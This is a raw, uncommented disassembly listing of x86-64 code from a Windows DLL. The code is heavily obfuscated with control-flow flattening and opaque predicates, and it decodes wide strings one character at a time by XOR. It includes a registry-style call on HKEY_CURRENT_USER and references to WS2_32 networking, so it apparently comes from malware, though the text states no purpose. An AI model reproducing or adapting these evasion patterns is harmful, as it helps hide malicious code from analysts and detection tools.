mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180030199
cmp ebx, 0xac12002d
jne 0x180030130
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x19
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180030130
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x34], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180030192
cmp edx, 0x400f7ff8
jne 0x180030180
jmp 0x1800301c9
mov edx, 0x400f7ff8
jmp 0x180030180
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x34], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x1800301c2
cmp ebx, 0x400f7ff8
jne 0x1800301b0
jmp 0x18003020c
mov ebx, 0x400f7ff8
jmp 0x1800301b0
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18003025c
cmp edx, 0xac12002d
jne 0x1800301e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x1a
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x1800301e0
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180030299
cmp ebx, 0xac12002d
jne 0x180030230
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x1a
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180030230
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x36], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180030292
cmp edx, 0x400f7ff8
jne 0x180030280
jmp 0x1800302c9
mov edx, 0x400f7ff8
jmp 0x180030280
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x36], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x1800302c2
cmp ebx, 0x400f7ff8
jne 0x1800302b0
jmp 0x18003030c
mov ebx, 0x400f7ff8
jmp 0x1800302b0
mov dword [rbp + 0x10c], 0x63
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18003035c
cmp edx, 0xac12002d
jne 0x1800302e0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x1b
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x1800302e0
mov dword [rbp + 0x10c], 0x63
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180030399
cmp ebx, 0xac12002d
jne 0x180030330
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x1b
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180030330
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0x38], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180030392
cmp edx, 0x400f7ff8
jne 0x180030380
jmp 0x1800303c9
mov edx, 0x400f7ff8
jmp 0x180030380
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0x38], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x1800303c2
cmp ebx, 0x400f7ff8
jne 0x1800303b0
jmp 0x18003040c
mov ebx, 0x400f7ff8
jmp 0x1800303b0
mov dword [rbp + 0x10c], 0x75
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop
cmp edx, 0x1ea65c42
je 0x18003045c
mov dword [rbp + 0x10c], 0x75
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180030499
cmp edx, 0x3bd89cca
jne 0x18002ddb0
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
call fcn.18003eeb0
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
sub rsp, 0x30
mov qword [rsp + 0x20], rcx
mov rcx, 0xffffffff80000001
mov rdx, rax
xor r8d, r8d
mov r9d, 0x2001f
call qword [rbp + 0xa0]
add rsp, 0x30
mov eax, 0x7b9f22bf
mov r11d, 0x87cbc1a8
jmp 0x18002d840
mov rax, qword [rbp + 0xb0]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp + 0x80]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x100], rax
mov dword [rbp + 0xf8], 0x52
mov ecx, 0x27f98b50
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xd32bdbb5
je 0x180034640
cmp ecx, 0x27f98b50
jne 0x180030960
mov eax, 0x1e39649a
nop dword [rax]
cmp eax, 0x1e39649a
je 0x180030990
cmp eax, 0xea6b28af
jne 0x180030980
jmp 0x180030997
mov eax, 0xea6b28af
jmp 0x180030980
mov dword [rbp + 0x110], 0xc
movsxd rax, dword [rbp + 0x110]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov ecx, 0xd32bdbb5
jmp 0x180030960
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp + 0xa8]
mov ecx, dword [0x180129730]
mov edx, dword [0x180129734]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete byte [rbp + 0xe7]
cmp edx, 0xa
setl byte [rbp + 0xc4]
mov edx, 0x970ca258
mov r8d, 0xeb661102
mov r10d, 0x47960da3
mov r11d, 0xd5dd8582
mov r9d, 0xe4f5085d
mov esi, 0xb639b5b
mov edi, 0x116f585f
jmp 0x180030a40
mov edx, 0x47960da3
cmp edx, 0xb639b5a
jg 0x180030a80
cmp edx, 0xc7bf117c
jle 0x180030ae0
cmp edx, 0xe4f5085c
jg 0x180030b81
cmp edx, 0xc7bf117d
je 0x180030c0c
cmp edx, 0xd5dd8582
jne 0x180030a40
mov edx, 0x31778daf
jmp 0x180030a40
cmp edx, 0x31778dae
jle 0x180030b30
cmp edx, 0x47960da2
jle 0x180030bdc
cmp edx, 0x47960da3
je 0x180030c30
cmp edx, 0x6e3a65e9
jne 0x180030a40
mov rcx, qword [rbp + 0xd8]
mov edx, 0xda5c9955
nop dword [rax + rax]
cmp edx, 0xda5c9955
je 0x180030ad5
cmp edx, 0x400f7ff8
jne 0x180030ac0
jmp 0x180030c5b
mov edx, 0x400f7ff8
jmp 0x180030ac0
cmp edx, 0x970ca258
je 0x180030cb0
cmp edx, 0xb0c0d7bb
je 0x180030a3b
cmp edx, 0xc46a8bf6
jne 0x180030a40
mov word [rax], 0xab2a
mov edx, 0xda5c9955
nop
cmp edx, 0xda5c9955
je 0x180030b25
cmp edx, 0x400f7ff8
jne 0x180030b10
jmp 0x180030cd1
mov edx, 0x400f7ff8
jmp 0x180030b10
cmp edx, 0xb639b5b
je 0x180030d1c
cmp edx, 0x116f585f
je 0x180030d38
cmp edx, 0x2a5b6d6c
jne 0x180030a40
mov qword [rbp + 0xf8], rcx
mov edx, dword [0x180129730]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xc7bf117d
cmove edx, edi
cmp dword [0x180129734], 0xa
cmovl edx, edi
jmp 0x180030a40
cmp edx, 0xe4f5085d
je 0x180030d94
cmp edx, 0xeb661102
jne 0x180030a40
mov qword [rbp + 0xc8], rax
mov rdx, qword [rbp + 0xc8]
mov word [rdx], 0xab2a
mov rdx, qword [rbp + 0xc8]
mov ebx, 0xda5c9955
nop dword [rax + rax]
cmp ebx, 0xda5c9955
je 0x180030bd5
cmp ebx, 0x400f7ff8
jne 0x180030bc0
jmp 0x180030dbc
mov ebx, 0x400f7ff8
jmp 0x180030bc0
cmp edx, 0x31778daf
jne 0x18003354b
mov edx, 0xda5c9955
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180030c05
cmp edx, 0x400f7ff8
jne 0x180030bf0
jmp 0x180030e0c
mov edx, 0x400f7ff8
jmp 0x180030bf0
mov rdx, qword [rbp + 0xf8]
mov word [rdx], 0
mov rdx, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0xf0]
mov edx, 0x116f585f
jmp 0x180030a40
mov edx, dword [0x180129730]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xb0c0d7bb
mov ebx, 0x3bd89cca
cmove edx, ebx
cmp dword [0x180129734], 0xa
cmovl edx, ebx
jmp 0x180030a40
mov dword [rbp + 0x10c], 0x5c
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1ea65c42
je 0x180030e60
cmp edx, 0xac12002d
jne 0x180030c80
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x29
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180030c80
mov bl, byte [rbp + 0xe7]
cmp byte [rbp + 0xc4], 0
mov edx, 0xc46a8bf6
cmovne edx, r8d
test bl, bl
cmovne edx, r8d
jmp 0x180030a40
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word [rax + rax]
cmp edx, 0x1ea65c42
je 0x180030e9c
cmp edx, 0xac12002d
jne 0x180030cf0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180030cf0
cmp byte [rbp + 0xc0], 0
mov edx, 0x2a5b6d6c
cmovne edx, r9d
mov rcx, qword [rbp + 0xe8]
jmp 0x180030a40
mov rdx, qword [rbp + 0xf8]
mov word [rdx], 0
mov rdx, qword [rbp + 0xf8]
add rdx, 2
mov qword [rbp + 0xe8], rdx
mov rdx, qword [rbp + 0xf0]
mov rbx, qword [rbp + 0xe8]
cmp rbx, rdx
sete byte [rbp + 0xc0]
mov edx, dword [0x180129730]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xc7bf117d
cmove edx, esi
cmp dword [0x180129734], 0xa
cmovl edx, esi
jmp 0x180030a40
mov edx, dword [0x180129730]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xb0c0d7bb
cmove edx, r10d
cmp dword [0x180129734], 0xa
cmovl edx, r10d
jmp 0x180030a40
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x1ea65c42
je 0x180030edc
cmp ebx, 0xac12002d
jne 0x180030de0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180030de0
mov dword [rbp + 0x10c], 0x74
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x180030f1c
cmp edx, 0xac12002d
jne 0x180030e30
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x21
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180030e30
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rcx + 2], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x180030e95
cmp edx, 0x400f7ff8
jne 0x180030e80
jmp 0x180030f5c
mov edx, 0x400f7ff8
jmp 0x180030e80
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 2], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180030ed5
cmp edx, 0x400f7ff8
jne 0x180030ec0
jmp 0x180030fb0
mov edx, 0x400f7ff8
jmp 0x180030ec0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 2], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x180030f15
cmp ebx, 0x400f7ff8
jne 0x180030f00
jmp 0x180031000
mov ebx, 0x400f7ff8
jmp 0x180030f00
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov rbx, qword [rbp + 0xd0]
mov word [rbx], dx
mov rdx, qword [rbp + 0xd0]
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180030f55
cmp ebx, 0x400f7ff8
jne 0x180030f40
jmp 0x180031050
mov ebx, 0x400f7ff8
jmp 0x180030f40
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x1800310a0
cmp edx, 0xac12002d
jne 0x180030f80
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x2a
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180030f80
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
cmp edx, 0x1ea65c42
je 0x1800310dc
cmp edx, 0xac12002d
jne 0x180030fd0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 1
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180030fd0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18003111c
cmp ebx, 0xac12002d
jne 0x180031020
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 1
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031020
mov dword [rbp + 0x10c], 0x76
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18003115c
cmp ebx, 0xac12002d
jne 0x180031070
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x22
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031070
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rcx + 4], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x1800310d5
cmp edx, 0x400f7ff8
jne 0x1800310c0
jmp 0x18003119c
mov edx, 0x400f7ff8
jmp 0x1800310c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 4], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180031115
cmp edx, 0x400f7ff8
jne 0x180031100
jmp 0x1800311f0
mov edx, 0x400f7ff8
jmp 0x180031100
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 4], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x180031155
cmp ebx, 0x400f7ff8
jne 0x180031140
jmp 0x180031240
mov ebx, 0x400f7ff8
jmp 0x180031140
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 2], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x180031195
cmp ebx, 0x400f7ff8
jne 0x180031180
jmp 0x180031290
mov ebx, 0x400f7ff8
jmp 0x180031180
mov dword [rbp + 0x10c], 0x75
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x1800312e0
cmp edx, 0xac12002d
jne 0x1800311c0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x2b
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x1800311c0
mov dword [rbp + 0x10c], 0x66
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
cmp edx, 0x1ea65c42
je 0x18003131c
cmp edx, 0xac12002d
jne 0x180031210
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 2
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031210
mov dword [rbp + 0x10c], 0x66
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18003135c
cmp ebx, 0xac12002d
jne 0x180031260
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 2
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031260
mov dword [rbp + 0x10c], 0x65
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18003139c
cmp ebx, 0xac12002d
jne 0x1800312b0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x23
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800312b0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rcx + 6], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x180031315
cmp edx, 0x400f7ff8
jne 0x180031300
jmp 0x1800313dc
mov edx, 0x400f7ff8
jmp 0x180031300
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 6], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180031355
cmp edx, 0x400f7ff8
jne 0x180031340
jmp 0x180031430
mov edx, 0x400f7ff8
jmp 0x180031340
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 6], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x180031395
cmp ebx, 0x400f7ff8
jne 0x180031380
jmp 0x180031480
mov ebx, 0x400f7ff8
jmp 0x180031380
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 4], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x1800313d5
cmp ebx, 0x400f7ff8
jne 0x1800313c0
jmp 0x1800314d0
mov ebx, 0x400f7ff8
jmp 0x1800313c0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x180031520
cmp edx, 0xac12002d
jne 0x180031400
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 0x2c
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031400
mov dword [rbp + 0x10c], 0x74
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
cmp edx, 0x1ea65c42
je 0x180031551
cmp edx, 0xac12002d
jne 0x180031450
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 3
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031450
mov dword [rbp + 0x10c], 0x74
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x180031589
cmp ebx, 0xac12002d
jne 0x1800314a0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 3
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800314a0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x1800315bc
cmp ebx, 0xac12002d
jne 0x1800314f0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x24
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800314f0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rcx + 8], dx
add rcx, 0xa
mov rdx, qword [rbp + 0xc8]
add rdx, 0x5e
mov qword [rbp + 0xf0], rdx
mov edx, 0x2a5b6d6c
jmp 0x180030a40
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 8], dx
mov edx, 0xda5c9955
nop word [rax + rax]
cmp edx, 0xda5c9955
je 0x180031582
cmp edx, 0x400f7ff8
jne 0x180031570
jmp 0x1800315fc
mov edx, 0x400f7ff8
jmp 0x180031570
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 8], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x1800315b5
cmp ebx, 0x400f7ff8
jne 0x1800315a0
jmp 0x180031650
mov ebx, 0x400f7ff8
jmp 0x1800315a0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 6], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x1800315f5
cmp ebx, 0x400f7ff8
jne 0x1800315e0
jmp 0x1800316a0
mov ebx, 0x400f7ff8
jmp 0x1800315e0
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x1800316f0
cmp edx, 0xac12002d
jne 0x180031620
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 4
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031620
mov dword [rbp + 0x10c], 0x77
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x180031729
cmp ebx, 0xac12002d
jne 0x180031670
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 4
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031670
mov dword [rbp + 0x10c], reloc.WS2_32.dll_WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x18003175c
cmp ebx, 0xac12002d
jne 0x1800316c0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x25
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800316c0
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0xa], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x180031722
cmp edx, 0x400f7ff8
jne 0x180031710
jmp 0x18003179c
mov edx, 0x400f7ff8
jmp 0x180031710
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0xa], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180031755
cmp ebx, 0x400f7ff8
jne 0x180031740
jmp 0x1800317f0
mov ebx, 0x400f7ff8
jmp 0x180031740
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 8], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x180031795
cmp ebx, 0x400f7ff8
jne 0x180031780
jmp 0x180031840
mov ebx, 0x400f7ff8
jmp 0x180031780
mov dword [rbp + 0x10c], 0x61
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x180031890
cmp edx, 0xac12002d
jne 0x1800317c0
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 5
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x1800317c0
mov dword [rbp + 0x10c], 0x61
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x1800318c9
cmp ebx, 0xac12002d
jne 0x180031810
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 5
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031810
mov dword [rbp + 0x10c], 0x69
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x1800318fc
cmp ebx, 0xac12002d
jne 0x180031860
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x26
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031860
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0xc], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x1800318c2
cmp edx, 0x400f7ff8
jne 0x1800318b0
jmp 0x18003193c
mov edx, 0x400f7ff8
jmp 0x1800318b0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0xc], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x1800318f5
cmp ebx, 0x400f7ff8
jne 0x1800318e0
jmp 0x180031990
mov ebx, 0x400f7ff8
jmp 0x1800318e0
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0xa], bx
mov ebx, 0xda5c9955
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xda5c9955
je 0x180031935
cmp ebx, 0x400f7ff8
jne 0x180031920
jmp 0x1800319e0
mov ebx, 0x400f7ff8
jmp 0x180031920
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x180031a30
cmp edx, 0xac12002d
jne 0x180031960
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 6
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031960
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x180031a69
cmp ebx, 0xac12002d
jne 0x1800319b0
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 6
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x1800319b0
mov dword [rbp + 0x10c], WSAStartup
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x180031a9c
cmp ebx, 0xac12002d
jne 0x180031a00
mov rbx, qword [rbp + 0x100]
movzx ebx, word [rbx]
add rbx, 0x27
mov qword [rbp + 0x110], rbx
mov ebx, 0x1ea65c42
jmp 0x180031a00
mov rdx, qword [rbp + 0x110]
xor edx, dword [rbp + 0x10c]
mov word [rax + 0xe], dx
mov edx, 0xda5c9955
nop word cs:[rax + rax]
cmp edx, 0xda5c9955
je 0x180031a62
cmp edx, 0x400f7ff8
jne 0x180031a50
jmp 0x180031adc
mov edx, 0x400f7ff8
jmp 0x180031a50
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0xe], bx
mov ebx, 0xda5c9955
nop
cmp ebx, 0xda5c9955
je 0x180031a95
cmp ebx, 0x400f7ff8
jne 0x180031a80
jmp 0x180031b30
mov ebx, 0x400f7ff8
jmp 0x180031a80
mov rbx, qword [rbp + 0x110]
xor ebx, dword [rbp + 0x10c]
mov word [rdx + 0xc], bx
add rdx, 0xe
mov qword [rbp + 0xd8], rdx
mov edx, 0xda5c9955
nop dword [rax]
cmp edx, 0xda5c9955
je 0x180031ad5
cmp edx, 0x400f7ff8
jne 0x180031ac0
jmp 0x180031b80
mov edx, 0x400f7ff8
jmp 0x180031ac0
mov dword [rbp + 0x10c], 0x65
mov qword [rbp + 0x100], rax
mov edx, 0xac12002d
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ea65c42
je 0x180031bd0
cmp edx, 0xac12002d
jne 0x180031b00
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
add rdx, 7
mov qword [rbp + 0x110], rdx
mov edx, 0x1ea65c42
jmp 0x180031b00
mov dword [rbp + 0x10c], 0x65
mov qword [rbp + 0x100], rax
mov ebx, 0xac12002d
nop word cs:[rax + rax]
cmp ebx, 0x1ea65c42
je 0x180031c09
